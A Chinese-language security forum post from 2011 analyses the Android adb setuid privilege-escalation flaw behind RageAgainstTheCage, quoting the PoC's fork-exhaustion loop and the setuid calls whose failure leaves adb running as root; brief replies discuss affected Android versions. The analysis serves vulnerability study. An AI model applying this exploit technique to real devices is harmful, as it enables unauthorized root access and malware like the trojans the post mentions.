首页
社区
课程
招聘
[原创]Android adb setuid提权漏洞的分析
发表于: 2011-7-7 13:03 25774

[原创]Android adb setuid提权漏洞的分析

2011-7-7 13:03
25774

几个月前写的。发在了我的博客上:
http://blog.claudxiao.net/2011/04/android-adb-setuid/
前面有个帖子讨论到提权问题,所以转过来。

——————————————————————————

去年的Android adb setuid提权漏洞被用于各类root刷机,漏洞发现人Sebastian Krahmer公布的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用于z4root等提权工具、Trojan.Android.Rootcager等恶意代码之中。下面我们来分析这一漏洞的产生原因。

The Android Exploid Crew小组在后来发布了一份PoC代码:rageagainstthecage.c。从这份代码开始着手。

在main(:72)函数中,首先获取了RLIMIT_NPROC的值(:83),这个值是Linux内核中定义的每个用户可以运行的最大进程数。

然后,调用find_adb()函数(:94)来搜索Android系统中adb进程的PID,具体而言,该函数读取每个进程对应的文件的/proc/<pid>/cmdline,根据其是否等于”/sbin/adb”来判断是否adb进程。

接下来,fork了一个新的进程(:109),父进程退出,而子进程继续。接下来,在113行创建一个管道。

rageagainstthecage.c

if (fork() > 0)
    exit(0);
 
setsid();
pipe(pepe);
if (fork() == 0) {
    close(pepe[0]);
    for (;;) {
        if ((p = fork()) == 0) {
            exit(0);
        } else if (p < 0) {
            if (new_pids) {
                printf("\n[+] Forked %d childs.\n", pids);
                new_pids = 0;
                write(pepe[1], &c, 1);
                close(pepe[1]);
            }
        } else {
            ++pids;
        }
    }
}
/* then switch user and group to "shell" */
if (setgid(AID_SHELL) != 0) {
    exit(1);
}
if (setuid(AID_SHELL) != 0) {
    exit(1);
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 7
支持
分享
最新回复 (13)
雪    币: 173
活跃值: (132)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
沙发,O(∩_∩)O哈哈~,顶个
2011-7-7 13:11
0
雪    币: 488
活跃值: (185)
能力值: ( LV9,RANK:260 )
在线值:
发帖
回帖
粉丝
3
学习了~ 好文章~!
这个漏洞已经给补上了吧?
2011-7-7 16:09
0
雪    币: 89
活跃值: (185)
能力值: ( LV9,RANK:270 )
在线值:
发帖
回帖
粉丝
4
哪个版本的bug呢?
求交往
2011-7-7 22:22
0
雪    币: 80
活跃值: (45)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
5
Sebastian Krahmer是比较NB的,不过看他文章要翻墙,呵呵
2011-7-7 22:46
0
雪    币: 227
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
现在逆向手机软件才是未来趋势了
2011-7-11 17:39
0
雪    币: 2362
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
好文章!。。
2011-7-12 07:01
0
雪    币: 84
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我Ri 掉队了 赶紧跟上 先从安坐开始
2011-7-12 16:45
0
雪    币: 201
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
谢谢楼主,刚好在学习android
2011-7-17 18:59
0
雪    币: 207
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
学习了,楼主辛苦
2011-7-17 19:34
0
雪    币: 24
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
这都是发展趋势了,大家加油
2011-7-19 16:41
0
雪    币: 85
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
紧跟发展趋势...
2011-7-23 08:02
0
雪    币: 952
活跃值: (1926)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
2.2及以下好像有这bug 部分2.3版本也有
2011-7-28 12:44
0
雪    币: 151
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
2.3的bug好像利用不了
2011-9-14 15:59
0
游客
登录 | 注册 方可回帖
返回
//